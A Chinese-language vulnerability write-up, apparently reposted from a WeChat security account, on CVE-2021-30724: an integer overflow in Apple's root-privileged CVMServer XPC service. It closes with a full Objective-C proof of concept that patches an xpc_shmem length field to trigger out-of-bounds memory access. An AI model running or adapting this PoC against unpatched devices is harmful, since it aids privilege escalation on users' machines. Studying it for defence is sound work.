macOS和iOS中的CVMServer漏洞详情及PoC

  • A+
所属分类:安全文章
macOS和iOS中的CVMServer漏洞详情及PoC点击上方蓝字关注我们


概述


趋势科技研究人员在CVMServer中发现了一个漏洞(CVE-2021-30724),该漏洞由整数溢出触发,会导致内存越界访问,可以通过它进行权限提升。该漏洞会影响运行macOS Big Sur 11.4、iOS 14.6和iPadOS 14.6的设备。

CVMServer是一个XPC服务和系统守护进程,它以root权限运行以处理XPC请求。XPC是为进程间的底层通信而设计的,客户端进程可以通过专用API向服务器发送XPC请求。下图为CVMServer的switch case逻辑示例:

macOS和iOS中的CVMServer漏洞详情及PoC

图1. CVMServer下发各种XPC消息的switch case逻辑


漏洞详情


该漏洞存在于XPC请求消息处理程序中,更具体地说,存在于使用OpenCL源代码构建元素的请求(case msgType=18)的处理中。


macOS和iOS中的CVMServer漏洞详情及PoC

图2. 存在漏洞的Case 18 logic


上图展示了存在漏洞的逻辑。如图所示,item[3*count]是映射长度,由xpc_shmem_map返回(见第134 行)。同时,beginOffset可以从XPC请求消息中控制(见第135行)。如果item[3*count]的值小于beginOffset的值,那么按照逻辑,remainLen的值将是一个整数溢出。这将导致第144行的检查被绕过。因此,可以通过将item[count]=accessDataLen指定为一个大的整数来触发该漏洞(从第136行到第137 行),成功利用后将导致内存越界访问和权限提升。


漏洞利用


图1中还显示了在case 4中设置了context->attached标志。这意味着要发送请求(case msgType=18),必须附加CVMS服务并发送XPC请求msgType=4。反过来,要将XPC请求发送到服务,必须先建立连接。通过搜索_xpc_connection_create_mach_service API调用的交叉引用,我们能够获得服务名称为“com.apple.cvmsServ”,进行建立连接。


这样做之后,我们便附加了服务,并通过调试获取了参数。


在附加CVMS服务并发送XPC请求msgType=4后,我们就可以发送存在漏洞的请求(case msgType=18)。为了更好地理解该漏洞的触发过程,我们需要先了解图2所示的XPC消息结构。


在图2中的第97行到第105行中,我们可以看到request[“source”]是一个XPC数组,其中存储了源代码数据列表。在第108行,为每个数组分配了32个字节(4个指针大小)。


macOS和iOS中的CVMServer漏洞详情及PoC


第111行到第156行的do-while循环用每个数据源值填充数组。数据源值的类型是 xpc_type_data或xpc_type_shmem。这里的逻辑说明地址范围[accessBeginPointer, accessBeginPointer+accessDataLength)必须是[mappedBaseAddress,mappedBaseAddress+mappedLength)范围的子集。因此,该逻辑将检查accessDataLength的值是否小于mappingLength减去beginOffset值。必须绕过该检查才能触发漏洞。幸运的是,所有这些值都是由XPC请求消息控制的。


在第138行,会检查beginOffset值是否小于一页或 4K。但是,从xpc_shmem_map 返回的mappingLength始终被设置为4K大小。这使得该漏洞似乎很被利用。但是通过检查xpc_shmem_map函数的实现,发现了一个可利用点,即在xpc_xshmem对象的字段偏移量为0x20处,会将mappingLength修补成任何较小的值,在此次案例中该值为1。


使用这种方法,我们能够通过整数溢出绕过第144 行的检查,然后通过指定的大数值触发内存访问不足。完整的PoC代码如下文所示。


PoC概念验证


#import <Foundation/Foundation.h>#import <xpc/xpc.h>int64_t cvms_connection_create(xpc_connection_t *conn) {    int64_t error = 528;    xpc_connection_t client = xpc_connection_create_mach_service("com.apple.cvmsServ", NULL, 2);    xpc_connection_set_event_handler(client, ^(xpc_object_t event) {});    xpc_connection_resume(client);    xpc_object_t req = xpc_dictionary_create(NULL, NULL, 0);    xpc_dictionary_set_int64 (req, "message", 1);    xpc_object_t res = xpc_connection_send_message_with_reply_sync(client, req);    printf("response: %sn", xpc_copy_description(res));    if (xpc_get_type(res) == XPC_TYPE_DICTIONARY) {        error = xpc_dictionary_get_int64(res, "error");        if (!error) {            *conn = client;        }    }    return error;}
int64_t cvms_service_attach(xpc_connection_t conn) { int64_t error = 528; xpc_object_t req = xpc_dictionary_create(NULL, NULL, 0); xpc_dictionary_set_int64 (req, "message", 4); xpc_dictionary_set_string(req, "framework_name", "OpenCL"); xpc_dictionary_set_string(req, "bitcode_name", ""); xpc_dictionary_set_string(req, "plugin_name", "/System/Library/Frameworks/OpenGL.framework/Libraries/libGLVMPlugin.dylib"); struct AttachArgs { int64_t a1; int64_t a2; } args = {0, 0x0000211000000009};//M1 Mac use 0x000021100000000a xpc_dictionary_set_data(req, "args", &args, sizeof(args)); xpc_object_t res = xpc_connection_send_message_with_reply_sync(conn, req); printf("response: %sn", xpc_copy_description(res)); if (xpc_get_type(res) == XPC_TYPE_DICTIONARY) { error = xpc_dictionary_get_int64(res, "error"); if (!error) { int64_t pool_index = xpc_dictionary_get_int64(res, "pool_index"); printf("pool_index: %lldn", pool_index); } } return error;}
int64_t cvms_element_build(xpc_connection_t conn) { int64_t error = 0; xpc_object_t req = xpc_dictionary_create(NULL, NULL, 0); xpc_dictionary_set_int64 (req, "message", 18); xpc_dictionary_set_uint64(req, "options", 0); xpc_object_t xarr = xpc_array_create_empty(); size_t size = 0x4000; void *shared_buf = mmap(0, size, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANON, 0, 0); memset(shared_buf, 'C', size); xpc_object_t xshmem = xpc_shmem_create(shared_buf, size); uint64_t *p = (uint64_t *)(__bridge void *)xshmem; p[4] = 1; // patch the mapped size to a small one xpc_array_append_value(xarr, xshmem); xpc_array_append_value(xarr, xpc_uint64_create(2)); // begin offset > 1, 1-2 will overflow xpc_array_append_value(xarr, xpc_uint64_create(0x8000));// data length > mapped size, lead to the OOB Access xpc_dictionary_set_value(req, "source", xpc_array_create(&xarr, 1)); xpc_object_t res = xpc_connection_send_message_with_reply_sync(conn, req); printf("response: %sn", xpc_copy_description(res));
return error;}
int64_t poc() { int64_t error; xpc_connection_t client; error = cvms_connection_create(&client); if (error) { printf("cvms_connection_create error: %lldn", error); return error; } error = cvms_service_attach(client); if (error) { printf("cvms_service_attach error: %lldn", error); return error; } error = cvms_element_build(client); if (error) { printf("cvms_element_build_from_source error: %lldn", error); return error; } return 0;}
int main(int argc, const char * argv[]) { poc(); return 0;}


macOS和iOS中的CVMServer漏洞详情及PoC

END



macOS和iOS中的CVMServer漏洞详情及PoC


好文!必须在看

本文始发于微信公众号(SecTr安全团队):macOS和iOS中的CVMServer漏洞详情及PoC

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: